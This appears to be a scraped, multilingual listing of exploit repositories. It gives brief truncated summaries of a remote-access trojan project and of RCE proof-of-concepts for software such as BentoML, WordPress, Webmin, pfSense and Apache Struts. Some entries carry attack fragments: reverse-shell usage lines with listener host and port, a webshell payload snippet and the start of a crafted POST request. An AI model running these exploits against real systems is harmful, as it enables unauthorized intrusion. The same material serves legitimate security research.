D-RAT_VB.NET_MySQL_PHP

D-RATVB.NETMySQLPHP D-RAT VB.NET+MySQL+PHP Проект состоит из сервера "D-RAT" и клиента "D-STUB" Языки программирования для клиента и сервера: "VB.NET Framework 2" База данных: "MySQL" Веб-страница: "PHP" https://www.youtube.com/watch?v=opBbmQ5BRFk...

CVE-2025-27520

CVE-2025-27520 CVE-2025-27520 익스플로잇 - BentoML 최신 버전v1.4.2의 안전하지 않은 역직렬화로 인한 원격 코드 실행RCE 취약점입니다. 이 취약점으로 인해 인증되지 않은 사용자가 서버에서 임의의 코드를 실행할 수 있습니다. serde.py에 안전하지 않은 코드 세그먼트가 존재합니다. 이 취약점은 1.4.3에서 수정되었습니다...

CVE-2026-14282

CVE-2026-14282 — GoDAM WordPress 플러그인 RCE 저자: nullwhisper 사용 용도: 승인된 보안 연구 / 취약점 검증 전용입니다. 이 취약점은 무엇인가? GoDAM WordPress 플러그인 = 1.12.2 버전은 godamrecord라는 WPForms 필드를 등록합니다. 업로드 핸들러 savevideofile은 공개 wpformsprocessbeforefilter 액션에 연결되어 인증 확인보다 먼저 실행됩니다. 이 핸들러는 공격자가 제어하는 Content-Type 헤더를 신뢰하며, MIME 타...

wp2shell-rce

WP2Shell RCE 단일 엔드포인트 또는 대규모 대상 목록에서 WordPress Core 설치의 WP2Shell 익스플로잇 체인 노출을 탐지하도록 설계된 평가 및 스캔 유틸리티입니다. ⚠️ 면책 조항 소유하거나 평가 권한이 있는 시스템만 스캔하십시오. 승인되지 않은 제3자 시스템의 스캔 또는 테스트는 불법입니다. 유지관리자는 무단 사용 또는 이 유틸리티로 인한 부수적 피해에 대해 어떠한 책임도 지지 않습니다. 취약점 개요 WP2Shell 은 플러그인 의존성이나 인증 없이 기본 WordPress Core 설치에 영향을 미치는...

CVE-2019-0604

一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var...

CVE-2017-12636

CVE-2017-12636 用法: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / |...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Pendiente: django-summernote Carga Arbitraria de Archivos RCE Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Ejecución Remota de Código RCE Condicional descubierta en django-summernote versión 0.8.20.0 y anteriores. Detalles de la Vulnerabilidad...

CVE-2025-32433

CVE-2025-32433 – Erlang/OTP SSH RCE 취약점 📌 요약 CVE-2025-32433 은 Erlang/OTP SSH 데몬에 영향을 미치는 원격 코드 실행RCE 취약점입니다. 근본 원인은 공격자가 사전 인증pre-authentication SSH 채널 요청을 조작하여 인증 전에 임의 명령 실행을 유발할 수 있도록 하는 부적절한 처리입니다. 포함된 PoC는 이러한 조작된 SSH 패킷을 전송하는 방법을 시연하며, 기본적으로 대상에 /lab.txt 파일을 생성하지만 다른 명령으로 변경할 수 있습니다. ⚠️ 면책...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE 인증 필요 Webmin 1.997 미만 버전에서 Software Package Updates 모듈을 통한 원격 코드 실행 취약점 익스플로잇입니다. 작동 원리 Webmin의 Software Package Updates 모듈은 u 매개변수를 시스템에 전달하기 전에 제대로 살균sanitize하지 않습니다. 해당 모듈에 접근 권한이 있는 인증된 사용자는 root 권한으로 실행되는 임의의 명령어를 주입할 수 있습니다. 사전 요구 사항 익스플로잇을 실행하기 전에 의존성을...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2017-8759

Exploit toolkit CVE-2017-8759 - v1.0 Exploit toolkit CVE-2017-8759 - v1.0 — это удобный скрипт на Python, который предоставляет пентестерам и специалистам по безопасности быстрый и эффективный способ тестирования RCE Microsoft .NET Framework. Он может генерировать вредоносный RTF-файл и доставлят...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg — это сканер уязвимостей Java RMI , который можно использовать для обнаружения и проверки распространённых уязвимостей безопасности на конечных точках Java RMI...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805CVE-2024-21887 Скрипт в этом репозитории проверяет и эксплуатирует уязвимости CVE-2023-46805 обход аутентификации и CVE-2024-21887 удаленное выполнение кода, существующие в продукте Ivanti Connect Secure. Вы можете проверить детали уязвимости по этой ссылке...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Эксплойт Apache Struts2 RCE 🛠️ Описание Это простой PoC на Python для CVE-2017-5638 — уязвимости удаленного выполнения кода в Apache Struts 2. ⚠️ Предупреждение Этот код предоставлен только для образовательных целей. НЕ используйте его в любой системе без явного...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE요약: 이 설명은 FreePBX 16의 두 취약점CVE-2025-57819 및 CVE-2025-61678을 결합하여 인증되지 않은 액세스에서 원격 코드 실행Remote Code Execution, RCE으로 권한을 상승시키는 전체 공격 체인을 보여줍니다. 취약점 CVE 정보 CVE 번호 영향 구성 요소 영향 및 취약점 유형 CVE-2025-57819 Endpoint 모듈 로더brand 매개변수 인증되지 않은 다중 명령 SQL 주입Unauthenticated...

CVE-2025-67435-PoC

CVE-2025-67435 Исследователь : Chowdhury Faizal Ahammed PluckCMS — Отчёт об уязвимости удалённого выполнения кода через Zip Slip Исполнительное резюме Данный отчёт документирует критическую уязвимость безопасности, обнаруженную в PluckCMS, которая позволяет аутентифицированным атакующим добиться...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305 사용 가능한 exp, 인용 시 출처를 밝혀주시기 바랍니다. 감사합니다! 0x01 제품 배경 Ncast Yingkeshi HD 지능형 녹화 시스템은 광저우 Yingkeshi 전자 기술 유한회사의 제품입니다. 이 시스템에는 RCE 취약점이 존재하며, 공격자는 이 취약점을 이용하여 임의 명령을 실행할 수 있습니다. 이를 통해 서버 권한을 획득하여 서버가 장악될 수 있습니다. 0x02 취약점 범위 Ncast 2007 Ncast 2017 0x03 취약점 검색 FOFA:...

RCE_CVE-2024-7954

RCECVE-2024-7954 설명: SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porteplume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자로 임의의 PHP 코드를 실행할 수 있습니다. 심각 익스플로잇: POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded...

Cobaltstrike-RCE-CVE-2022-39197

Cobaltstrike RCE 취약점 CVE-2022-39197 재현 취약점 개요 해당 취약점은 Cobalt Strike의 Beacon 소프트웨어에 존재하며, 공격자가 Beacon 구성에서 형식이 잘못된 사용자 이름을 설정하여 XSS를 트리거하고, 결과적으로 CS 서버 측에서 원격 코드 실행을 유발할 수 있습니다. 스크린샷: NTLMv2-SSP 해시 획득 Cobalt Strike가 Windows에서 실행 중인 경우 참고: https://www.freebuf.com/vuls/345522.html...

CVE-2022-30190

CVE-2022-30190 Основано на https://github.com/JohnHammond/msdt-follina Настройка окружения Используйте файлы в /env-setup 1. Виртуальная машина: используйте VirtualBox и Win1021H2Englishx32.iso сборка 19044.1288 2. Установите Microsoft Word, запустите setup.exe /configure configuration.xml через...